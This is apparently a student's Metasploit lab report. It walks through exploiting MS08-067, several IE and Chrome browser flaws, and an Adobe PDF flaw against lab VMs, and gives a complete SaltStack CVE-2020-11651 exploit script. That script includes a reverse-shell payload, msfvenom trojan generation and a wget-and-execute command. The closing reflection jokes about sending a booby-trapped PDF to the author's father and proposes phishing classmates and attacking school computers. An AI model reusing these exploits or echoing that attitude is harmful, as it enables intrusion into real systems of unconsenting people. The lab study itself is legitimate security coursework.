zoukankan      html  css  js  c++  java
  • Exp6 MSF应用基础

    Exp6 MSF应用基础

    1 基础知识

    目标:掌握metasploit的基本应用方式

    1.1 MSF的七种模块

    进入/usr/share/metasploit-framework/modules/exploits即可看到7个模块,其中evasion是在msf5中更新的,信息比较少

    • Exploit模块

      • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
      • 形象点来说就是攻击模块
    • Payload模块

      是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。

      • 三种 payload:/usr/share/metasploit-framework/modules/payloads/
        • Single:all-in-one
        • Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
        • Stages:利用 stager 建立的连接下载的后续payload
    • Encoder模块

      • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
      • 不改变payload作用,但能对payload进行加工
    • Aux模块

      • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
      • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
    • Post模块

      • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
      • 这里主要指的是攻击之后可能用到的模块
    • Nops模块

      • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
      • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
    • evasion模块

    1.2 核心命令

      banner            显示一个很棒的metasploit横幅
      cd               更改当前工作目录
      color             切换颜色
      connect           与主机通信
      exit              退出控制台
      get                获取特定于上下文的变量的值
      getg             获取全局变量的值
      grep             管道另一个命令的输出
      help              帮助菜单
      history            显示命令历史记录
      load              加载框架插件
      quit               退出控制台
      repeat            重复命令列表
      route            通过会话路由流量
      save            保存活动数据存储
      sessions          转储会话列表并显示有关会话的信息
      set             将特定于上下文的变量设置为值
      setg             将全局变量设置为值
      sleep            在指定的秒数内不执行任何操作
      spool           将控制台输出写入文件以及屏幕
      threads         查看和操作后台线程
      unload           卸载框架插件
      unset           取消设置一个或多个特定于上下文的变量
      unsetg           取消设置一个或多个全局变量
      version          显示框架和控制台库版本号
    

    2 实践过程记录

    先关闭靶机防火墙,检测是否机器间是否能ping通,对应端口是否打开,攻击对靶机系统有没有作用

    另外,你可能需要这个:Metasploit PSExec执行报错大全

    祝你好运

    2.0 基本思路

    以windows下浏览器漏洞ms06_013_createtextrange为例

    1. 进入msf模块中对Windows下浏览器的目录cd /usr/share/metasploit-framework/modules/exploits/windows/browser,输入ls可看到可利用的漏洞脚本

    image-20210422144647333

    一般名字会与利用的角度有关,我猜ms里一般对应自带ie浏览器,还有对应firefox杀毒

    vim打开.rb文件,搜你要利用的软件会看到他对应适用的版本.以ms06_013_createtextrange.rb 为例,可以看到这玩意对IE6和IE的Beta 2版本有用

    image-20210422174358654

    msf控制台进入use后show info可以看到可攻击的版本信息,刚好和我版本一样

    image-20210422174730812

    还能够看到参数信息

    image-20210422175043050

    use后可以show payloads看看想用啥payload(别忘加s)

    image-20210422175133892

    然后按参数配好后exploit就可以,如果生成了sessions,我们还需要输入sessions命令进入会话

    2.1 一个主动攻击实践,尽量使用最新的类似漏洞; (1分)

    2.1.1 ms08_067+shell_reverse_tcp

    机器 系统 ip

    靶机 win server 2000 with SP4 172.16.231.2

    攻击机 kali 172.16.229.167

    在kai中输入msfconsole进入msf控制台后输入如下指令,其中set target 0指自动选择目标系统类型,可以快速匹配

    use exploit/windows/smb/ms08_067_netapi
    set payload generic/shell_reverse_tcp
    set LHOST 172.16.229.167
    set LPORT 4444
    set RHOST 172.16.231.2
    set target 0
    exploit
    

    image-20210422142120769

    攻击成功

    2.2一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)

    2.2.1 ms10_018+bind_tcp

    机器 系统 ip

    靶机 windows XP Pro English 172.16.227.19

    攻击机 kali 172.16.229.167

    use exploit/windows/browser/ms10_018_ie_behaviors
    set payload windows/meterpreter/bind_tcp
    set RHOST 172.16.227.19
    set target 0
    exploit
    

    输入后显示

    [*] Using URL: http://0.0.0.0:8080/xG02eXh
    [*] Local IP: http://172.16.229.167:8080/xG02eXh
    [*] Server started.
    

    在靶机浏览器中输入http://172.16.229.167:8080/xG02eXh

    image-20210422165600485

    发现是防火墙没关hhhh啊凎again

    image-20210422172250391

    这次进入网址后浏览器会直接关闭,攻击机端显示生成会话(忽略那个3)

    然后...然后要通过sessions -i [会话号]进入会话就可以控制靶机了!(别输ls,会把上面的记录刷没的)

    *PS:图中的-i -1似乎是随便进一个能进的,未找到具体含义 *

    image-20210422172732541

    2.2.2 ms06_013_createtextrange

    机器 系统 ip

    靶机 windows XP Pro English 172.16.227.19

    攻击机 kali 172.16.229.167

    use exploit/windows/browser/ms06_013_createtextrange
    set payload windows/meterpreter/reverse_tcp
    set RHOST 172.16.227.19
    set target 0
    exploit
    

    输入后显示

    [*] Started reverse TCP handler on 172.16.229.167:4444 
    [*] Using URL: http://0.0.0.0:8080/lrpE9vmoYXxsu
    [*] Local IP: http://172.16.229.167:8080/lrpE9vmoYXxsu
    [*] Server started.
    

    在靶机浏览器中输入http://172.16.229.167:8080/lrpE9vmoYXxsu

    网页会从0跑到100,然后浏览器就崩了

    image-20210422175505639

    输入sessions -i 4进入靶机,输入ver查看系统版本,输入pwd查看路径(路径和上次不一样),输入shell生成一个新shell,dir查询目录

    image-20210422180514434

    2.2.3 chrome_filereader_uaf+reverse_tcp(CVE-2019-5786)

    详见CVE-2019-5786漏洞利用复现

    先装个x86的win7,我的版本是cn_windows_7_enterprise_x86_dvd_x15-70737.iso(难得中文版能成功)

    image-20210427161503292

    下载Chrome 链接:https://dl.lancdn.com/landian/soft/chrome/m/,搜72.0.3626.119就行

    image-20210427161525039

    之后安装chrome,没啥好说的

    攻击机端进入msf控制台,输入如下指令

    use exploit/windows/browser/chrome_filereader_uaf
    set payload windows/meterpreter/reverse_tcp
    set URIPATH /
    set LHOST 192.168.31.92
    exploit
    

    image-20210427161752132

    靶机端开cmd输入C:Program FilesGoogleChromeApplication>chrome.exe --no-sandbox以沙箱关闭的状态执行chrome.exe,在地址栏输入地址http://192.168.31.92:8080

    image-20210427162009799

    攻击机这边收到了会话,输入sessions 1进入会话1攻击成功

    image-20210427162243606

    2.3一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)

    为了方便拖放,最好先装个增强功能先

    2.3.1adobe_cooltype_sing+reverse_tcp

    机器 系统 ip

    靶机 windows XP Pro English 172.16.227.19

    攻击机 kali 172.16.229.167

    use exploit/windows/fileformat/adobe_cooltype_sing
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.16.229.167
    set LPORT 11214
    set FILENAME 20181214.pdf
    set target 0
    exploit
    

    image-20210422181903826

    输入后显示

    [*] Creating '20181214.pdf' file...
    [+] 20181214.pdf stored at /root/.msf4/local/20181214.pdf
    

    去所在路径找到pdf,放到靶机里,输入如下命令进入监听模块

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.16.229.167
    set LPORT 11214
    exploit
    

    这时候发现xp里没有adobe2333,看下rb文件里对应的adobe版本下一个9.3版本

    image-20210422183005168

    打开靶机里的pdf,攻击机中获得控制权,路径为pdf所在地址

    image-20210422185425244

    2.3.2winrar_ace+reverse_tcp

    在目录里扒拉半天看有没有熟悉的,找到WinRAR主要是担心找不到对应版本的软件

    image-20210422185907875

    https://blog.csdn.net/whatday/article/details/103918276

    2.4成功应用任何一个辅助模块。(1分)

    2.4.1ipidseq

    机器 系统 ip

    靶机 windows XP Pro English 172.16.227.19

    攻击机 kali 172.16.229.167

    在实际攻击时我们可能不知道具体ip是上面,所以可以适用ipidseq辅助模块扫出ip.由于我的ip是172.16.227.19,所以我就扫172.16.227.10-172.16.227.20,5秒扫不到就断

    use auxiliary/scanner/ip/ipidseq
    set RHOSTS 172.16.227.10-172.16.227.20
    set TIMEOUT 5
    exploit
    

    image-20210422191509713

    把目标开大一点就可以扫到同局域网下的部分机器了

    image-20210422191929469

    CVE-2020-11651漏洞利用复现

    机器 系统 ip

    靶机 Ubuntu18.04 192.168.31.215

    攻击机 kali 192.168.31.92

    概述

    SaltStack:是基于Python开发的一套C/S架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。

    漏洞原因:SaltStack的ClearFuncs类处理未经身份验证的请求,并且无意中公开了send_pub()方法,该方法可用于直接在master服务器上创建消息队列,此类消息可用于触发minions以root身份运行任意命令。
    ClearFuncs类还公开了_prep_auth_info()方法,该方法返回用于验证master服务器上本地root用户命令的“root key”。可以使用此“root key”在主服务器上远程调用管理命令。这种无意的暴露为远程未经身份验证的攻击者提供了与salt-master相同的根访问权限。因此未经身份验证的远程攻击者可以使用此漏洞执行任意命令。

    利用方法:认证绕过漏洞,攻击者通过构造恶意请求,绕过Salt Master的验证逻辑,调用相关未授权函数功能,达到远程命令执行目的。

    配置靶机

    配置靶机docker,原仓库在GitHub上,自己导入gitee仓库(gitee上先前别人导入的库没有saltstack),如果不能开启docker请加sudo

    git clone https://gitee.com/sin29/vulhub.git
    cd vulhub/saltstack/CVE-2020-11651
    docker-compose up -d
    docker ps
    

    image-20210426195143549

    在kali端pip安装2019.2.4以前版本salt.由于PyYAML这里会报错,所以添加参数--ignore-installed PyYAML忽略PyYAML,pip3 install salt==2019.2.3 --ignore-installed PyYAML ,如果速度较慢可以在后面加参数使用清华源pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple salt==2019.2.3

    执行python文件内容如下:

    # BASE https://github.com/bravery9/SaltStack-Exp
    # 微信公众号:台下言书
    # -*- coding:utf-8 -*- -
    from __future__ import absolute_import, print_function, unicode_literals
    import argparse
    import os
    import sys
    import datetime
    
    import salt
    import salt.version
    import salt.transport.client
    import salt.exceptions
    
    DEBUG = False
    
    
    def init_minion(master_ip, master_port):
        minion_config = {
            'transport': 'zeromq',
            'pki_dir': '/tmp',
            'id': 'root',
            'log_level': 'debug',
            'master_ip': master_ip,
            'master_port': master_port,
            'auth_timeout': 5,
            'auth_tries': 1,
            'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
        }
    
        return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
    
    
    def check_salt_version():
        print("[+] Salt 版本: {}".format(salt.version.__version__))
    
        vi = salt.version.__version_info__
    
        if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
            return True
        else:
            return False
    
    
    def check_connection(master_ip, master_port, channel):
        print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
        sys.stdout.flush()
        try:
            channel.send({'cmd': 'ping'}, timeout=2)
            print('33[1;32m可以连接33[0m')
        except salt.exceptions.SaltReqTimeoutError:
            print("33[1;31m无法连接33[0m")
            sys.exit(1)
    
    
    def check_CVE_2020_11651(channel):
        sys.stdout.flush()
        # try to evil
        try:
            rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
        except salt.exceptions.SaltReqTimeoutError:
            print("33[1;32m不存在漏洞33[0m")
        except:
            print("33[1;32m未知错误33[0m")
            raise
        else:
            pass
        finally:
            if rets:
                root_key = rets[2]['root']
                print("33[1;31m存在漏洞33[0m")
                return root_key
    
        return None
    
    
    def pwn_read_file(channel, root_key, path, master_ip):
        # print("[+] Attemping to read {} from {}".format(path, master_ip))
        sys.stdout.flush()
    
        msg = {
            'key': root_key,
            'cmd': 'wheel',
            'fun': 'file_roots.read',
            'path': path,
            'saltenv': 'base',
        }
    
        rets = channel.send(msg, timeout=3)
        print(rets['data']['return'][0][path])
    
    
    
    def pwn_getshell(channel, root_key, LHOST, LPORT):
        msg = {"key": root_key,
               "cmd": "runner",
               'fun': 'salt.cmd',
               "kwarg": {
                   "fun": "cmd.exec_code",
                   "lang": "python3",
                   "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);".format(
                       LHOST, LPORT)
               },
               'jid': '20200504042611133934',
               'user': 'sudo_user',
               '_stamp': '2020-05-04T04:26:13.609688'}
    
        try:
            response = channel.send(msg, timeout=3)
            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
            return True
        except:
            print("something failed")
            return False
    
    
    def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
        if master_or_minions == "master":
            msg = {"key": root_key,
                   "cmd": "runner",
                   'fun': 'salt.cmd',
                   "kwarg": {
                       "fun": "cmd.exec_code",
                       "lang": "python3",
                       "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
                   },
                   'jid': '20200504042611133934',
                   'user': 'sudo_user',
                   '_stamp': '2020-05-04T04:26:13.609688'}
    
            try:
                response = channel.send(msg, timeout=3)
                print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
                return True
            except:
                print("something failed")
                return False
    
        if master_or_minions == "minions":
            print("Sending command to all minions on master")
            jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
            cmd = "/bin/sh -c '{0}'".format(exec_cmd)
    
            msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
                   "user": "root", "jid": jid}
    
            try:
                response = channel.send(msg, timeout=3)
                if response == None:
                    return True
                else:
                    return False
            except:
                return False
    
    
    #####################################
    
    master_ip=input('目标IP:')
    master_port='4506'
    channel = init_minion(master_ip, master_port)
    try:
        root_key = check_CVE_2020_11651(channel)
    except:
        pass
    while master_ip!='':
        print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')
    
        whattype=input('请选择:')
        if whattype=='1':
            check_salt_version()  # 检查salt版本
            check_connection(master_ip, master_port, channel)  # 检查连接
            root_key = check_CVE_2020_11651(channel)  # 读取root key
            print(root_key)
        elif whattype=='2':
            path = input('读取路径:')
            try:
                pwn_read_file(channel, root_key, path, master_ip)  # 读取文件
            except:
                print('文件不存在')
        elif whattype=='3':
            print('1.master   2.minions')
            exectype = input('选择方式:')
            if exectype=='1':
                master_or_minions='master'
            elif exectype=='2':
                master_or_minions = 'minions'
            exec_cmd = input('输入命令:')
            pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令
        elif whattype=='4':
            LHOST = input('反弹到IP:')
            LPORT = input('反弹端口:')
            pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell
        elif whattype=='5':
            exit()
    

    之后可能会出现连接不上的情况,我又更新了一遍salt版本,windows端用tcping扫描4505、4506端口显示开放,并在靶机上netstat -an确认4505、4506端口开放后,又能扫出漏洞了

    image-20210427103258808

    直接输入4反弹可获得shell,输入攻击机ip和未占用端口,再开一个终端,输入nc -lvvp 11214 ,能够进入shell

    image-20210426223130961

    msf

    由于我们可以在靶机中执行命令,所以可以将木马传入靶机,并执行木马程序回连攻击机,就可以用msf干些别的事了

    输入/etc/init.d/apache2 start打开攻击机Apache,输入service apache2 status查看Apache是否开启

    image-20210427104140812

    使用msf在攻击机中生成木马输入msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -i 3 -f elf -o test

    image-20210427104105486

    向靶机传入'wget http://192.168.31.92/test|./test'指令使其从攻击机上的Apache服务器上下载木马

    image-20210427105127841

    由于没有执行权限,所以再使用chmod加权限

    PS:以上传入指令的操作也可以直接在shell中输入指令

    image-20210427105351845

    msf控制台开启监听,并执行test,连接成果,可使用sys info查看系统版本

    image-20210427105801051

    输入ps查看docker内进程,与靶机内进程号对比

    image-20210427110417073

    通过这个exp,还能直接找到root keyhttps://mp.weixin.qq.com/s/Hq270_2axkWqtyabS3UnRw,不过docker每次开启后root key好像会变化

    执行命令python3 CVE-2020-11651_5.py --master 192.168.31.215 -r /etc/passwd

    image-20210427000217640

    3 实践中的问题

    1. Exploit failed [unreachable]: Rex::HostUnreachab[*] Exploit completed, but no session was created.

      将端口修改回默认的4444后报

      This most likely means a previous exploit attempt caused the service to crash

      win10并不在攻击范围内

    2. 靶机xp没有ip链接

      重装winxp,添加nat和桥接网卡,从控制面板中安装网络驱动

      image-20210422101236469

    3. 445端口未打开

      通过在注册表HKEY_LOCAL_MACHINE System CurrentControlSet Services NetBT Parameters位置新建DWORDSMBDeviceEnabled参数值为1并重启解决(疑似设置成``SMBDevice`也可以)

      image-20210422140852076

    4. 完成攻击但会话未建立

      疑似是中文版xp的问题,不想再装xp了,更换靶机为EN_WIN2000_SRV_SP4

      image-20210422110007439

    4 问题回答

    用自己的话解释什么是exploit,payload,encode?

    答:

    • exploit:攻击者利用现有配置进行攻击或生成攻击文件的过程
    • payload:攻击者在靶机上执行的一串代码
    • encode:编码,能够消除坏字符,也能隐藏一些会被发现的恶意程序特征

    离实战还缺些什么技术或步骤?

    答:

    1. 攻击受系统、软件版本的限制比较大
    2. 一些攻击需要被害人配合才可以

    5 实验总结与体会

    通过这次实验,我对MSF的应用感觉更加得心应手了,知道我们用MSF能干啥、要干啥、怎么干,收获还是非常大的,感觉实验3没解决的几个问题现在都有些头绪了,不过具体的攻击过程还算得了解,找时间看一下0x59。实验过程中除了一直在装环境有些难受之外,其他的还算顺利,现在就给我爸发个pdf玩玩。

    另外,感觉实验环境和真实环境还是有很大差距,不过我们可以找一些常年不更新系统的主机(如学校机房)或常年无需更新的软件(如WinRAR)进行攻击。如浏览器输入网址、点开PDF之类的操作等需要人配合的攻击也不是不能进行,如果在学校的话也不是不能操作,比如发链接说是形策网址、发PDF说是热乎的报告、把压缩包命名成“计组试题”放在打印店的电脑上之类的话,应该有人会被骗吧:p

  • 相关阅读:
    python使用mysql数据库
    拆掉思维里的墙
    拆掉思维里的墙
    拆掉思维里的墙
    loadrunner通过web的post请求方法测接口 2
    loadrunner通过web的post请求方法测接口 2
    loadrunner通过web的post请求方法测接口 1
    luogu P1186 玛丽卡
    luogu P1855 榨取kkksc03
    暑期前复习
  • 原文地址:https://www.cnblogs.com/Ziggy29/p/14708895.html
Copyright © 2011-2022 走看看